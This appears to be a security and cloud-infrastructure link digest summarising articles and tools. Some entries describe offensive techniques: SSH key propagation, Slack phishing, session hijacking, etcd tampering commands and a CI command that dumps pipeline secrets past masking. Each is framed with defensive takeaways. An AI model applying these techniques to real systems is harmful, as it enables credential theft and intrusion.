    • Exclusions: Leaves out some services, including Control Tower, which he says AWS Organizations already covers.
    • Formats: Editable XMind file, plus PNG and PDF exports.
    • Related reading: Scott Piper’s AWS Security Maturity Roadmap, the AWS Security Maturity Model, and zoph.me’s AWS Security Survival Kit (CloudTrail alerts).
    • Automation: A commenter notes Prowler 3.13 can automate the checks.
    • Source caveat: The mind map image’s branches were not readable from the page text. This summary covers the article framing only.

    Takeaway: Use it as an onboarding checklist for new accounts, and automate the checks with Prowler or SCPs instead of re-doing them by hand.

  • SSH-Snake: Self-Propagating Script for SSH Private Key and Host Discovery
    summary

    TL;DR: SSH-Snake, by Joshua Rogers (GPL-3.0, now archived), is a self-propagating Bash script that finds SSH private keys and reachable hosts, then recursively uses them to map a network’s SSH trust paths.

    • Loop: Find keys, derive user@host targets, try SSH, and repeat on each new host. The traversal is depth-first and skips hosts already visited.
    • Discovery sources: .bash_history, common key paths, known_hosts, SSH config, last-login records and IP ranges. Strategies can be toggled, except find_ssh_keys.
    • Fileless: Passed to remote bash via stdin over SSH, so nothing is written to disk. Snake.nocomments.sh stays under the size at which bash writes a temp file.
    • Analysis: Python tools for forward and reverse lookup and shortest path between hosts. Graphs via Cytoscape, Gephi or Graphviz.
    • Detection: The README notes the process tree and the many failed SSH attempts as evidence.
    • Limits: IPv4 only, port 22 assumed, GNU coreutils needed, and no SSH agent socket support.

    Takeaway: It shows how far one unprotected private key can reach. Alert on SSH fan-out and failed-auth bursts, and replace static keys with SSH certificates or passphrase-protected keys.

  • EvilSlackbot: Slack Bot Phishing Framework for Red Teaming Exercises
    summary

    TL;DR: EvilSlackbot (Drew-Sec) is a Python 3 framework for authorised red-team and phishing simulations inside Slack workspaces, driven by a stolen or issued bot or user token.

    • Tokens: Needs an xoxb or xoxp token. Run -c to check which attacks that token’s permissions allow.
    • Attacks: -sP spoofed messages with custom bot name and icon, -m phishing links as the bot, -a with -f for file attachments.
    • Recon: -s keyword-searches Slack for leaked secrets (xoxp only). -cL lists public channels.
    • Targeting: -e single email, -eL email list file, -cH channel name. -o writes output to a file.
    • Requirements: Python 3 and slackclient.
    • Limits: Secret search does not work with bot tokens, channel listing is public channels only, and OAuth scopes are not documented.

    Takeaway: Leaked Slack tokens allow convincing internal phishing. Restrict app installs, rotate tokens and train users that bots can be spoofed.

  • Kubernetes Deep Health Checks
    summary

    TL;DR: Matt Boyle (Encore, January 2024) explains how readiness probes that check downstream dependencies (‘deep health checks’) can turn one failing service into a full outage.

    • Scenario: A payments backend’s readiness endpoint checks auth, balance, Kafka and the DB, and returns 500 if any fails. When auth goes down, every dependent pod leaves the load balancer at once.
    • Symptom: Users see ‘upstream connect error or disconnect/reset before headers. reset reason: connection failure’, and pod metrics go quiet, which slows diagnosis.
    • Probe roles: Liveness restarts stuck containers, readiness removes pods from load balancing, and startup holds off the other probes for slow starters.
    • Principle: A service is ready if it can serve a response, even an error.
    • Instead: Retry with exponential backoff, count failures, return 5xx, and alert on SLOs. Reduce coupling with caching, circuit breakers and stateless design.

    Takeaway: Keep readiness probes local to the pod. Handle dependency failures in the app and in alerting, not by pulling every replica out of service.

  • vulnerable-code-snippets: Intentionally Vulnerable Code Snippets for Review Practice
    summary

    TL;DR: YesWeHack’s collection of intentionally vulnerable code snippets for code-review practice. They first appeared as weekly Friday posts on its Twitter account.

    • Languages: PHP, Python, Go, Java, JavaScript and C, plus supporting SQL, HTML and CSS.
    • Vuln classes: 22 classes mapped to CWEs, including SQLi, XSS, SSRF, insecure deserialisation and buffer overflow.
    • Count: The README table lists 43 snippets, each with a short flaw description.
    • Running: Each snippet folder has a docker-compose.yml. Start with docker compose up --build in an isolated environment.
    • Audience: All skill levels.

    Takeaway: Good bite-sized drills for secure code review training or interview prep. Run them only in isolated containers.

  • better-commits: CLI for Better Conventional Commits
    summary

    TL;DR: better-commits (Everduin94) is a Node CLI that prompts you through writing Conventional Commits messages, previews them, then runs native git commit.

    • Install: npm install -g better-commits (Node 20+).
    • Config: A global .better-commits.jsonc in your home directory is created on first run. better-commits-init creates a per-repo config.
    • Inference: Ticket, type and scope are inferred from the branch name.
    • Branches: better-branch creates a branch or worktree from the same naming segments (user, version, type, ticket, scope, description).
    • Hooks: Pre- and post- shell commands such as branch_pre_commands and worktree_post_commands, with templates like {{TICKET}}.
    • Scripting: --no-interactive and --dry-run for agents and automation. Also interactive git status/add and per-type emoji.

    Takeaway: A low-friction way to standardise commit and branch naming in a team that uses Conventional Commits for changelogs or semantic-release.

  • How to Introduce Semgrep to Your Organization
    summary

    TL;DR: Maciej Domański (Trail of Bits, January 2024) gives a seven-step plan for rolling out Semgrep static analysis in an organisation.

    • 1-2 Fit and explore: Check language support (30+), then run semgrep --config auto on a small project.
    • 3 Rulesets: p/default, p/owasp-top-ten, p/cwe-top-25 and language packs. Start high-confidence with --severity ERROR.
    • 4 Tune: Add non-security rules, suppress with justified nosemgrep comments, and use .semgrepignore.
    • 5 Custom rules: An internal rules repo with README, inventory, contribution checklist and peer review. Metadata (CWE, confidence, impact) and fix: autofixes. Trail of Bits rules are available as p/trailofbits.
    • 6 Evangelise: Train developers with Learn Semgrep and the Playground, and open discussion channels.
    • 7 CI/CD: Pilot one repo, run scheduled full scans on main and diff-aware scans on PRs, then block PRs on findings.
    • Privacy: --config auto sends metrics. Disable with --metrics=off or SEMGREP_SEND_METRICS.

    Takeaway: Introduce SAST gradually, starting with low noise and blocking only once trusted. The custom-rules repo is where most of the long-term value comes from.

  • aws-scps-for-sandbox-and-training-accounts: Example SCPs for Sandbox and Training Accounts
    summary

    TL;DR: welldone-cloud’s example Service Control Policies for AWS sandbox and training accounts. They block baseline changes, long-term financial commitments and use outside allow-listed regions and services.

    • Account baseline: scp-deny-changing-account-baseline-configuration.json covers contacts, billing and tax settings.
    • Money: scp-deny-making-agreements-purchases-and-reservations.json blocks agreements, purchases and reservations.
    • Central IAM: scp-deny-modifying-central-iam-resources.json.
    • Allow-lists: scp-deny-using-other-regions.json and scp-deny-using-other-services.json.
    • Cleanup: The author suggests aws-nuke to reset accounts to a known-good state.
    • Caveat: A ‘starting point’ that needs adapting. File behaviour here is inferred from file names and README text, and no deployment steps are given.

    Takeaway: Attach these to a sandbox OU so learners cannot buy reservations or wander into unused regions. Pair them with scheduled aws-nuke runs.

  • The Final Answer: AWS Account IDs Are Secrets
    summary

    TL;DR: Daniel Grzelak (Plerion, January 2024) argues that AWS account IDs should be kept confidential for practical reasons. AWS’s official position is that they are not sensitive.

    • AWS stance: Cites AWS’s Steven Armstrong (‘Account IDs are not considered sensitive’), AWS docs and Eric Brandwine.
    • Why IDs matter: Most AWS attacks need a target identifier (role ARN, queue URL), so an unknown account ID acts as an unintended control.
    • Attacks cited: Unauthenticated principal enumeration (for example, confirming workspaces_DefaultRole exists), ECR-based lateral movement and ACM-PCA privilege escalation.
    • Number: Plerion data shows about 55% of AWS accounts have an unexempted publicly exposed resource, rarely exploited partly because the IDs are unknown.
    • Advice: Pass IDs via environment variables rather than hardcoding them, publish artefacts from dedicated accounts, and avoid default principal and resource names.
    • Context: A vendor opinion piece. A February 2024 follow-up covers how IDs leak, and Truffle Security showed IDs can be decoded from access key IDs.

    Takeaway: Do not build security on hiding account IDs, but don’t publish them carelessly either. Fix the public resources that a known ID would let an attacker find.

  • A Recipe for Scaling Security
    summary

    (Could not fetch full text.)

    TL;DR: David Dworken (Google Bug Hunters blog, 22 January 2024) describes how Google scales security across a large product portfolio by building protections into the platform rather than fixing bugs one by one.

    • Case study: The rollout of Strict Content Security Policy (CSP) across Google web apps, which began around 2016.
    • Approach: ‘Safe coding’ and secure-by-default frameworks, so whole bug classes such as XSS are prevented centrally.
    • Blueprint: The post promises a recipe other companies can adopt.
    • Related talks: A July 2024 keynote, ‘A Recipe for Scaling (Web) Security: Lessons from Google’s Frontlines’, covers safe coding and legacy code. A ‘Security Signals’ talk covers tracking CSP adoption at scale.
    • Source caveat: The page is JS-rendered and its body could not be read. This summary is based on search snippets and related talk abstracts, so specific steps and numbers are not included.

    Takeaway: Invest in secure-by-default frameworks and policies such as Strict CSP, and measure their adoption, rather than relying on bug-by-bug remediation.

  • Azure Attack Paths
    summary

    TL;DR: Fabian Bader (Cloudbrothers, March 2022, updated February 2025) catalogues Azure and Entra ID attack paths to Global Admin or subscription control, with detection queries and mitigations.

    • Delegation abuse: Malicious Azure Lighthouse offers, and over-broad partner delegated admin rights (GDAP was introduced to limit these).
    • App permissions: App registrations with high-risk Graph permissions such as Application.ReadWrite.All can lead to Global Admin.
    • Entra roles: Privileged Authentication Administrator and Privileged Role Administrator can reach Global Admin. ‘Access management for Azure resources’ grants User Access Administrator at root scope.
    • Compute paths: VM Run Command, managed identities, DSC, Guest Configuration, and hybrid runbook workers with Run As certificates.
    • Hybrid identity: Password reset via the Entra Connect sync account, and Golden SAML via ADFS.
    • Tooling: AADInternals, BloodHound, PowerShell snippets, and KQL hunting queries for Sentinel and Log Analytics.
    • Mitigations: Prune partner and API permissions, scope managed identities, monitor role changes and Run Command, and ’treat your Entra ID connect server as you would a domain controller’.

    Takeaway: A good checklist for Entra and Azure privilege reviews. Start by auditing Graph app permissions and the Connect server, the paths most often missed.

  • Mastering Kubernetes Security: Safeguarding Your Container Kingdom
    summary

    TL;DR: Madhav Nakar (detection engineer, January 2024) gives security analysts an overview of the Kubernetes security model and threat landscape. It is organised around the 4Cs: Code, Container, Cluster, Cloud.

    • Components: API server, etcd, kubelet and kubectl. Managed clusters lack direct host telemetry.
    • Threats: Vulnerable apps, malicious or typosquatted images, secrets in image layers, permissive RBAC, risky security contexts, exposed kubelet API, metadata credential theft, anonymous API access, and exposed etcd or Dashboard.
    • RBAC: Restrict service account permissions, disable automatic token mounting and standardise RBAC objects.
    • Admission: Review pod creation requests and use static tools such as kubesec.
    • Network: NetworkPolicies to limit pod-to-pod traffic.
    • Detection gap: Kubelet activity is not in Kubernetes audit logs, so extra telemetry is needed. Treat admin activity inside short-lived containers as suspicious.
    • Source caveat: The Red Canary URL now redirects to a Zscaler blog copy with the same topic. This summary is based on that page.

    Takeaway: A solid primer for SOC staff new to Kubernetes. Note the kubelet audit gap and add runtime or EDR telemetry on nodes.

  • Kubernetes Scheduling and Secure Design
    summary

    TL;DR: Francesco Lacerenza and Lorenzo Stella (Doyensec, January 2024) argue that Kubernetes scheduling is an overlooked security control. Isolating critical workloads on separate nodes limits lateral movement from a compromised pod.

    • Mechanisms: nodeSelector (AND of labels), nodeName (hard pin), node affinity and anti-affinity, inter-pod affinity, taints and tolerations, topology spread and custom schedulers.
    • Key rule: Only hard (required...) rules give security guarantees. Soft (preferred...) rules are for performance only.
    • Attacks: Editing node labels or taints to attract sensitive pods, users setting scheduling fields to land on critical nodes, label combinations that block scheduling, and a compromised kubelet relabelling its own node.
    • Defences: Enable the NodeRestriction admission plugin and restrict who can modify node metadata. Review user-controlled scheduling fields.
    • Design: Group workloads by trust, data sensitivity, exposure and privilege. Use dedicated node pools for critical namespaces, or separate clusters for the most sensitive.

    Takeaway: Put sensitive workloads on dedicated, tainted node pools with required affinity, and lock down node label and taint edits. Otherwise a pod escape anywhere reaches everything.

  • Memos: Privacy-First, Lightweight Note-Taking Service
    summary

    TL;DR: Memos is an MIT-licensed, self-hosted, privacy-first note-taking app that keeps short notes on a personal timeline.

    • Features: Markdown with LaTeX, checklists, attachments, links between memos, pinning, reactions and comments, and calendar, map, tag and search views.
    • Sharing: Per-memo visibility. New memos are private by default.
    • APIs: REST and gRPC, plus a Web Clipper.
    • Self-host: docker run -d --name memos -p 5230:5230 -v ~/.memos/:/var/opt/memos neosmemo/memos:stable. Compose, native binary, Kubernetes and source builds are also offered.
    • Storage: SQLite by default, with MySQL and PostgreSQL supported.
    • Privacy: The site states it sends no usage data or analytics.

    Takeaway: A lightweight self-hosted alternative to cloud note apps. Put it behind auth and TLS and back up the data volume.

03.01.2023

  • Fourteen Years of Go
    summary

    TL;DR: Russ Cox’s Go team post for Go’s 14th open source birthday (10 November 2023), reviewing the year’s Go 1.20 and 1.21 releases and what came next.

    • PGO: Profile-guided optimization, previewed in 1.20 and released in 1.21, typically gives 2% to 7% CPU improvement.
    • Coverage: Go 1.20 added coverage profiles for binaries built with go build, so integration tests can collect coverage.
    • Compatibility: Go 1.21 expanded GODEBUG conventions and added built-in toolchain management per module.
    • Tooling: On-disk indexes in gopls cut startup latency and memory 3-5x; update with go install golang.org/x/tools/gopls@latest.
    • Std library: New generic cmp, maps, slices packages, structured logging in log/slog, and WASI preview 1 support.
    • Security: Govulncheck 1.0 shipped in July 2023, with VS Code and GitHub Action integration; 1.21 toolchain builds are reproducible.
    • Next: Go 1.22 changes for loop variable semantics to remove accidental aliasing bugs.

    Takeaway: A compact changelog of the Go 1.20/1.21 era. Use it to check whether you have adopted PGO, slog and govulncheck yet.

  • inshellisense: IDE-Style Command Line Autocomplete
    summary

    TL;DR: inshellisense is Microsoft’s terminal-native runtime that gives IDE-style autocomplete in the shell, using the Fig autocomplete specs for 600+ CLI tools.

    • Platforms: Windows, Linux and macOS; shells include bash, zsh, fish, pwsh, powershell, xonsh and nushell.
    • Install: npm install -g @microsoft/inshellisense or Homebrew tap, then is init; check with is doctor.
    • Usage: is starts a session, exit stops it, is -c checks if you are inside one.
    • Shell plugin: is init zsh >> ~/.zshrc (and equivalents) starts it with every shell; it must be the last line in the config.
    • Keys: Suggestions are accepted with tab; keybindings are configurable and only captured when suggestions are visible.
    • Status: Repo is active (about 10.7k stars, pushed October 2026).

    Takeaway: A quick way to get Fig-style completion back without Fig. Try it if you want discoverable flags for unfamiliar CLIs.

  • arsenal: Quick Inventory and Launcher for Hacking Programs
    summary

    TL;DR: Arsenal, from Orange Cyberdefense, is a Python inventory and launcher for pentest commands: search a cheatsheet, pick a command, and it is prefilled in your terminal.

    • Mechanism: Emulates real user input via TTY/IOCTL, so it works with any shell and commands land in history.
    • Variables: Global variables prefill arguments, e.g. >set ip=10.10.10.10.
    • Install: python3 -m pip install arsenal-cli, then run arsenal (suggested alias a); also on the AUR.
    • tmux: ./run -t sends the command to another pane; -t -e executes it there directly.
    • Cheatsheets: Reads .md and .rst cheats from my_cheats, ~/.cheats or paths in config.py; supports <argument|default_value>.
    • Origin: Inspired by navi, rewritten because the bash original was hard to extend.

    Takeaway: Useful for keeping hard-to-remember offensive commands one search away. Add your own cheats so it reflects your workflow.

  • Session-Hijacking-Visual-Exploitation: Visual Session Hijacking Demo
    summary

    TL;DR: Session Hijacking Visual Exploitation (SHVE) by Doyensec is a tool that hijacks user sessions by injecting malicious JavaScript, letting the operator visually drive the victim’s browser session.

    • Architecture: A Node.js server plus Electron client apps (prebuilt in Releases or built with npm run pack).
    • Requirements: Node.js 19.0.0 recommended due to compatibility issues with newer versions; nvm suggested.
    • Setup: cd server && npm install && npm start; first start runs an interactive configuration that creates a user.
    • Client: Log in with the created user and download/install a certificate from the client.
    • Status: About 218 stars; last push March 2024.

    Takeaway: A demonstration tool for showing the real impact of XSS beyond alert(). Use it in authorized tests to make session-hijack risk concrete for stakeholders.

  • Key Takeaways from the Wiz 2023 Kubernetes Security Report
    summary

    TL;DR: Wiz’s summary of its 2023 Kubernetes Security Report, based on scans of over 200,000 cloud accounts, which finds low container security maturity and proposes a “Zone Defense” strategy.

    • Time to first scan: New EKS clusters got malicious scans in 22 minutes; AKS in 2 hours 13 minutes; GKE in under three hours.
    • Exposure trend: Shodan data shows rising numbers of public K8s API servers and exposed kubelet endpoints.
    • Attacks: Cryptomining with XMRig, CCMiner and XMR-Stak-RX; examples PyLoose, newhello, and RBAC Buster, which pivots from anonymous API access to stealing AWS credentials.
    • Low adoption: Only 9% of clusters use network policies; Wiz says the problem is lack of adoption, not lack of controls.
    • Attack chain view: Control plane initial access is less likely than data plane; after initial access, lateral movement and privilege escalation are easy; cloud pivot is a growing impact path.
    • Zone Defense: Proactively cover the most vulnerable points rather than pairing a control to every attack vector.

    Takeaway: Network policies, admission control and cloud-pivot hardening are under-used. Prioritize turning on existing controls over buying new ones.

  • aws-ml-opt-out: Terraform Module to Opt Out of All AWS AI/ML Data Harvesting
    summary

    TL;DR: A small MIT-licensed Terraform module by gblues that applies an AWS Organizations AI services opt-out policy, so AWS AI/ML services do not retain and use your content.

    • Requirements: Terraform 0.13+ and Python with boto3.
    • Modes: Create a new organization (create_organization = true) or modify an existing one (create_organization = false).
    • Policy types: AISERVICES_OPT_OUT_POLICY is always enabled; extra types via additional_enable_policy_types.
    • Mechanism: For existing orgs, a Python boto3 script enables the policy types; interpreter set with python_interpreter.
    • Troubleshooting: “NO-ORGANIZATION-FOUND” means you need create_organization = true.
    • Caveat: Author asks production users to fork it; last push January 2024, about 29 stars.

    Takeaway: The opt-out is a single org policy and easy to forget. Apply it at the org root, whether via this module or your own aws_organizations_policy resource.

  • Awesome-GPT-Agents: Curated List of GPT Agents for Cybersecurity
    summary

    TL;DR: A community-curated list by fr0gger of custom ChatGPT GPTs (agents) for offensive and defensive cybersecurity.

    • Examples: MagicUnprotect (Unprotect DB of malware evasion techniques), GP(en)T(ester), Threat Intel Bot, Vulnerability Bot, SourceCodeAnalysis, Web Hacking Wizard, CyberGPT.
    • Usage tips: Keywords such as “Retrieve”, “Based on your knowledge” and “Generate” trigger knowledge retrieval or the code interpreter.
    • Disclaimer: Users should evaluate agents before use; some are experimental.
    • Status: About 6.6k stars; last push July 2024.

    Takeaway: A catalog, not a vetted toolset. Treat listed GPTs as third-party services and do not paste sensitive data into them.

  • State of Cloud Security
    summary

    TL;DR: Datadog’s recurring State of Cloud Security research, analyzing posture data from thousands of organizations on AWS, Azure and Google Cloud. The URL now shows the October 2025 edition, not the 2023 one originally linked.

    • Page changed: Content is the 2025 update, building on the October 2024 edition.
    • Multi-account: At least 84% of organizations use more than one AWS account; 86% use AWS Organizations; 14% do not use it at all.
    • Guardrails: Among AWS Organizations users, 40% use SCPs and 6% use resource control policies (RCPs).
    • Data perimeters: Adoption is growing but most organizations lack centralized control.
    • Credentials: Long-lived cloud credentials remain pervasive and are the most common cause of publicly documented cloud breaches.

    Takeaway: Useful benchmark numbers for arguing for SCPs/RCPs and removing long-lived keys. Check which year’s edition you cite.

  • Bolstering Security and Automating Management of Target Australia’s EKS Clusters
    summary

    (Could not fetch full text.)

    TL;DR: Gazal Gafoor (GitHub @gazal-k) describes how Target Australia runs its Amazon EKS clusters, with Bottlerocket nodes for security and Karpenter in place of Cluster Autoscaler for node management.

    • Node OS: Bottlerocket, the container-focused AWS OS, chosen for its security benefits.
    • Autoscaling: A move from Cluster Autoscaler to Karpenter, described as more cost-effective and flexible.
    • Adoption: Karpenter’s ADOPTERS.md lists Target Australia using Karpenter to scale and auto-update the EKS compute behind much of the Target Online platform.
    • Scope: An operator’s experience report on running EKS at scale, not a vendor tutorial.
    • Source caveat: Medium returned 403. This summary uses the Learn Kubernetes Weekly issue 53 blurb and the Karpenter adopters list, not the article body.

    Takeaway: Bottlerocket plus Karpenter is a common EKS baseline for a smaller node attack surface and automated node updates. Read the original for Target’s exact configuration.

  • Latio Security Tools List: Find Your Next Security Tool
    summary

    (Could not fetch full text.)

    TL;DR: Latio’s security tools list is a directory by Latio Tech (James Berthoty) for comparing cybersecurity tools and vendors by category.

    • Page title: Now “Compare Cybersecurity Tools & Vendor Reviews | Latio”.
    • Purpose: Helps buyers find and compare security products in categories such as cloud and application security.
    • Source caveat: The page is a JavaScript app; only the title was retrievable, so this is based on the title and URL.

    Takeaway: A starting point for vendor discovery. Verify claims with vendor docs and your own trials.

  • Kubernetes Removals, Deprecations, and Major Changes in Kubernetes 1.29
    summary

    TL;DR: Kubernetes blog post (16 November 2023) listing removals, deprecations and major changes ahead of Kubernetes v1.29.

    • Policy recap: GA APIs cannot be removed within a major version; beta APIs are supported for 3 releases after deprecation; alpha can go anytime.
    • Registries: Traffic to k8s.gcr.io redirects to registry.k8s.io; legacy apt.kubernetes.io/yum.kubernetes.io were frozen on 13 September 2023 in favor of pkgs.k8s.io.
    • Cloud providers: DisableCloudProviders and DisableKubeletCloudCredentialProviders default to true; in-tree Azure, GCE and vSphere users must run an external cloud controller manager with --cloud-provider=external.
    • Flow control: flowcontrol.apiserver.k8s.io/v1beta2 is no longer served; move to v1beta3 (field assuredConcurrencyShares renamed nominalConcurrencyShares).
    • Node field: .status.nodeInfo.kubeProxyVersion is deprecated because kubelet does not actually know the kube-proxy version.

    Takeaway: Before upgrading to 1.29, check for in-tree cloud provider use and v1beta2 FlowSchema manifests.

  • org-kickstart: Kickstart and Manage Your AWS Organization via Terraform
    summary

    TL;DR: org-kickstart is PrimeHarbor’s opinionated Terraform landing zone for AWS Organizations, pitched as an alternative to Control Tower “for the rest of us”.

    • Why: Authors say Control Tower is heavy, hard to adjust, lags best practice and is expensive for small orgs due to AWS Config.
    • Security account: Creates one with delegated admin for GuardDuty, Macie, Inspector, Security Hub, SSO and CloudFormation, enabled in every default region.
    • Logging and OUs: Organization CloudTrail to a bucket in the Security account; default OUs Workloads, Governance, Sandbox, Suspended.
    • Policies: Default AI opt-out policy on root; manages and templates SCPs, RCPs and declarative policies.
    • Access and billing: Audit role via StackSet; AdministratorAccess permission set and group in Identity Center; CUR bucket for Athena.
    • Usage: Manual bootstrap (BOOTSTRAP.md), then copy examples/local-deploy; pin releases with ?ref=0.3.0. Docs at aws-kickstart.org.

    Takeaway: A readable baseline for a new AWS org without Control Tower. Pin a tagged release, since the default branch latest moves.

  • New: Multi-Account Search in AWS Resource Explorer
    summary

    TL;DR: AWS News Blog post announcing that AWS Resource Explorer can search resources across accounts in an AWS Organization or OU, not just across Regions.

    • Access points: Resource Explorer console, unified console search bar, AWS CLI, SDKs and AWS Chatbot.
    • Setup: Enable trusted access for AWS Account Management, configure Resource Explorer in each account (e.g. via Systems Manager Quick Setup or CloudFormation), optionally use a delegated admin, then create a multi-account view.
    • Views: Organization-wide visibility, in the Region holding the aggregator index; optional filters and tag attributes; access controlled by granting view access.
    • Example query: elasticache:* redis3.2 finds old Redis versions across accounts and Regions.
    • Limits: Only resources in your own account get direct console links; available in a listed set of Regions.

    Takeaway: Handy for incident response and cost hunts across many accounts. Set up the aggregator index and a delegated admin view once.

  • 12 Personal Go Tricks That Transformed My Productivity
    summary

    TL;DR: Phuong Le’s Devtrovert article (August 2023) sharing utility snippets and language tricks from his team’s Go utilities library.

    • Timing: defer TrackTime(time.Now()) or defer TrackTime()() to log elapsed time.
    • Two-stage defer: A function returns a teardown closure, defer setupTeardown()(); best for tests since errors are not handled gracefully.
    • Slices: Pre-allocate with make([]int, 0, 10) and append to avoid index bugs; Go 1.20 allows [3]int(a[0:3]).
    • Imports: _ import runs init(); dot import exposes identifiers without the package name.
    • Errors: Go 1.20 errors.Join combines errors and works with errors.Is.
    • Interface check: var _ Buffer = (*StringBuffer)(nil) catches missing methods at compile time.
    • Others: Method chaining via pointer receivers, a generic ternary helper (author says avoid), and avoiding naked parameters.

    Takeaway: The compile-time interface assertion and errors.Join are the most broadly useful. Treat dot imports and the ternary helper with caution.

  • OMGCICD: Attacking GitLab CI/CD via Shared Runners
    summary

    TL;DR: Pulse Security article (November 2023) showing how any GitLab user can compromise a shared, privileged docker-in-docker runner and steal secrets from other projects’ pipelines, including production deploys.

    • Poisoned pipeline: A developer edits .gitlab-ci.yml and dumps env with env | gzip -c | base64 -w0 to bypass variable masking (OWASP CICD-SEC-04).
    • GitLab default: Variables are now available only to protected branches by default, but new runners run on all branches.
    • Shared runner attack: An instance-level runner is usable by any project, so the attacker creates a personal repo and runs a reverse shell pipeline.
    • Escape: DIND and Kubernetes runners seen in the wild ran Privileged; the attacker mounts the host block device and drops an SSH key for root.
    • Harvest: From the host, the attacker waits for a high-value pipeline and steals its environment variables and keys, here leading to root on production.
    • Scope: Not GitLab-specific; the authors saw the same problem in most CI/CD platforms that use one runner for all pipelines.

    Takeaway: Never share a runner between untrusted projects and production deploys. Use dedicated, non-privileged runners scoped to protected branches for sensitive jobs.

  • Post-Exploiting a Compromised etcd: Full Control over the Cluster and Its Nodes
    summary

    TL;DR: NCC Group research by Luis Toro Puig (7 November 2023) showing that root on the etcd host gives full cluster control, not only secret theft, by writing protobuf-encoded resources directly into etcd.

    • URL moved: The old research.nccgroup.com link redirects to a research index; the article now lives at nccgroup.com/research-blog/.
    • Tooling: Uses auger (Joe Betz, Google) to (de)serialize Kubernetes protobuf in etcd; NCC built the kubetcd wrapper PoC with kubectl-like syntax.
    • Requirements: Root on the etcd host to read /etc/kubernetes/pki/etcd/server.key; existing resources as templates; self-managed clusters only, not managed control planes.
    • Tampering: Change a pod’s creation timestamp, e.g. kubetcd create pod nginx -t nginx --time 2000-01-31T00:00:00Z makes it look 23 years old.
    • Persistence: Mismatch the pod name and etcd path (-p randomentry) so kubectl delete returns NotFound.
    • Hiding: --fake-ns injects pods under a namespace path that does not match the manifest, making them semi-hidden.

    Takeaway: Protect etcd certificates and control plane hosts as cluster-admin equivalents. Monitor etcd for writes that bypass the API server.

  • Security Best Practices for Authors of GitHub Actions
    summary

    TL;DR: GitHub Blog post (16 November 2023) with minimum security practices for people who publish GitHub Actions, since a compromised action affects every workflow that uses it.

    • Context: 169% increase in Actions minutes on public repos; over 20,000 actions in the Marketplace.
    • Dependabot: Enable it on the action’s source repo to catch vulnerable dependencies.
    • Code scanning: Enable CodeQL or a third-party tool that outputs SARIF.
    • Triage: Have a process to resolve critical alerts promptly.
    • Disclosure: Add a SECURITY.md so issues are reported privately, not in public Issues.
    • Accounts: Require MFA for maintainers; get the verified creator badge via the Technology Partner Program.

    Takeaway: If you publish actions, these are low-effort basics. Consumers should still pin actions to commit SHAs.

  • Terrareg: Open Source Terraform Module Registry with UI and Git Integration
    summary

    TL;DR: Terrareg by MatthewJohn is an open source, self-hosted Terraform module registry with a web UI, Git integration and module analysis.

    • API: Fully implements the Terraform modules API; everything is API driven.
    • Sources: Host modules internally or index them from external Git; SCM hooks auto-index new versions.
    • Analysis: Shows README, inputs, outputs, providers and resources; security alerts and cost estimation per example.
    • UI: Interactive usage builder; example code with rewritten source arguments.
    • Auth: SSO via OpenID Connect, SAML2 and GitHub; provider support in early alpha.
    • Run: docker run ... ghcr.io/matthewjohn/terrareg:latest with SECRET_KEY and ADMIN_AUTHENTICATION_TOKEN; a valid TLS cert is needed for Terraform to treat it as a registry.
    • Warning: It downloads and analyses modules, so untrusted modules or providers can allow arbitrary code execution.

    Takeaway: A practical private registry if you want versioned module discovery without Terraform Cloud. Only index modules you trust.

  • Amazon S3 Now Supports Enabling S3 Object Lock on Existing Buckets
    summary

    TL;DR: AWS What’s New (20 November 2023): S3 Object Lock can now be enabled on existing buckets, and S3 Replication now works for buckets with Object Lock.

    • Before: Object Lock had to be enabled at bucket creation.
    • Modes: Retain Until Date for fixed-time immutability, or Legal Hold for indefinite.
    • Existing objects: Set retention per object or use S3 Batch Operations for tens to billions of objects; new objects get the default retention.
    • Replication: Create immutable copies in the same or another account or Region.
    • Compliance: Assessed by Cohasset Associates for SEC 17a-4(f), FINRA 4511 and CFTC 1.31.
    • Availability: All Regions including GovCloud; console, API, SDK or CLI.

    Takeaway: You can now add ransomware-resistant immutability to existing backup buckets without migrating data. Remember that default retention only covers new objects.

  • AWS IAM Identity Center Now Provides New APIs to Automate Access to Applications
    summary

    TL;DR: AWS What’s New (17 November 2023): IAM Identity Center added APIs to manage user and group assignments to supported AWS and cloud applications.

    • Before: Application access was managed in the Identity Center console and each application’s console.
    • Now: Workflows can programmatically assign application access, alongside existing account access APIs.
    • Cost: Identity Center has no additional charge.
    • Availability: All Regions where IAM Identity Center is supported; documented in the API reference.

    Takeaway: Application assignments can now live in code with account assignments. Fold them into your IaC or access automation.

  • How to Use Multiple Instances of AWS IAM Identity Center
    summary

    TL;DR: AWS Security Blog post (updated through February 2024) explaining organization instances versus the new account instances of IAM Identity Center, and how to control and audit them.

    • Organization instance: One per organization in the management account (or delegated admin); full features including permission sets and SAML 2.0 apps; the recommended pattern.
    • Account instance: Subset of features, bound to one account and Region; one per account; initially only Amazon CodeCatalyst assignments; no permission sets or customer managed SAML apps.
    • Enablement: If Identity Center was enabled before 15 November 2023 in a default Region, account instance creation must be enabled from the management account.
    • Opt-in Region: An org instance in an opt-in Region prevents account instances.
    • Patterns: Five deployment cases; case 1 (org instance only, account instances disabled) is recommended.
    • Use cases: Temporary trials of AWS managed apps, or when an org-wide deployment is impossible.

    Takeaway: Decide deliberately whether member accounts may create account instances. Block them with policy if you want one identity source.

  • Rapidly Scaling for Breaking News with Karpenter and KEDA
    summary

    TL;DR: KubeCon talk by Mel Cone and Deepak Goel of The New York Times on scaling multi-tenant EKS clusters for breaking news with Karpenter and KEDA.

    • Requirement: NYT may need to double cluster node count in under two minutes.
    • Traffic shape: Breaking news spikes come without warning, last minutes, and peak above 100k requests per second.
    • Tools: Karpenter for node provisioning, KEDA for event-driven pod autoscaling.
    • Bottleneck: Traffic to the unified HTTP ingress is often the biggest constraint.
    • Design focus: Trade-offs between flexibility, maintainability and cost savings.
    • Source caveat: Based on the video description only.

    Takeaway: A real-world case for pairing Karpenter with KEDA. Watch it if your spikes are short and sharp, and check your ingress first.

  • Ambient Mesh Architecture
    summary

    TL;DR: Istio documentation on ambient mode architecture, the sidecar-less data plane. The old URL now leads to an index page linking sub-pages on the control plane, data plane, HBONE and ztunnel traffic redirection.

    • Page changed: Content has moved under /docs/ambient/architecture/; the summary uses the current data plane page.
    • ztunnel: A per-node L4 proxy run as a DaemonSet that intercepts mesh traffic and enforces L4 policy.
    • Waypoint: An optional L7 proxy, usually per namespace, for L7 policy; enabled with the istio.io/use-waypoint label.
    • Enrollment: Pods join the mesh with the istio.io/dataplane-mode=ambient label.
